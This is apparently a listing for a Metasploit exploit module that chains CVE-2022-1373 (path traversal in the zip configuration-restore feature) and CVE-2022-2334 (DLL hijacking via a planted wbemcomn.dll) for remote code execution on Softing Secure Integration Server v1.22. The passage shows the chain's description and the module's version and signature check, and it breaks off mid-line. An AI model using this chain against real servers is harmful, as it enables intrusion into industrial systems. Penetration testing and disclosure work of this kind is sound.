Metasploit Module: Softing Secure Integration Server v1.22 Remote Code Execution
Type: exploit
Path: modules/exploits/windows/http/softing_sis_rce.rb
Platform: win
Disclosure date: 2022-07-27
References: CVE-2022-1373, CVE-2022-2334, ZDI-22-1154, ZDI-22-1156, URL-https://industrial.softing.com/fileadmin/psirt/downloads/syt-2022-5.html, URL-https://ide0x90.github.io/softing-sis-122-rce/
Targets: Windows x64

Description:
This module chains two vulnerabilities (CVE-2022-1373 and CVE-2022-2334) to achieve authenticated remote code execution against Softing Secure Integration Server v1.22.

          In CVE-2022-1373, the restore configuration feature is vulnerable to a directory traversal vulnerablity when processing zip files. When using the "restore configuration" feature to upload a zip file containing a path traversal file which is a dll called ..\..\..\..\..\..\..\..\..\..\..\Windows\System32\wbem\wbemcomn.dll. This causes the file C:\Windows\System32\wbem\wbemcomn.dll to be created and executed upon touching the disk.

          In CVE-2022-2334, the planted wbemcomn.dll is used in a DLL hijacking attack when Softing Secure Integration Server restarts upon restoring configuration, which allows us to execute arbitrary code on the target system.

          The chain demonstrated in Pwn2Own used a signature instead of a password. The signature was acquired by running an ARP spoofing attack against the local network where the Softing SIS server was located. A username is also required for signature authentication.

          A custom DLL can be provided to use in the exploit instead of using the default MSF-generated one. Refer to the module documentation for more details.

Check method (fingerprinting):
# check the Softing SIS version
    softing_version_res = checker_instance.check_setup
    unless softing_version_res
      return CheckCode::Unknown('Could not determine the target status')
    end

    softing_version = Rex::Version.new(softing_version_res)
    print_status("#{peer} - Found Softing Secure Integration Server #{softing_version}")

    # the vulnerabilities are to be fixed in version 1.30 according to the Softing advisory
    # so we will not continue if the version is not vulnerable
    unless softing_version < Rex::Version.new('1.30')
      return CheckCode::Safe("Target is not vulnerable based on version: #{softing_version_res}")
    end

    # if the operator provides a signature, then use that instead of the username and password
    if datastore['SIGNATURE']
      print_status("#{peer} - Authenticating as user #{datastore['USERNAME']} with signature #{datastore['SIGNATURE']}...")
      # send a GET request to /runtime/core/user/<username>/authentication
      signature_check_res = signature_check(datastore['USERNAME'], datastore['SIGNATURE'])

      # if we cannot connect at this point, we only know that the version is < 1.30
      # the system "appears" to be vulnerable
      unless signature_check_res
        print_error("#{peer} - Connection failed!")
      end

      # if the signature is correct, 200 OK is returned
      if signature_check_res.code == 200
        print_good("#{peer} - Signature #{datastore['SIGNATURE']} is valid for user #{datastore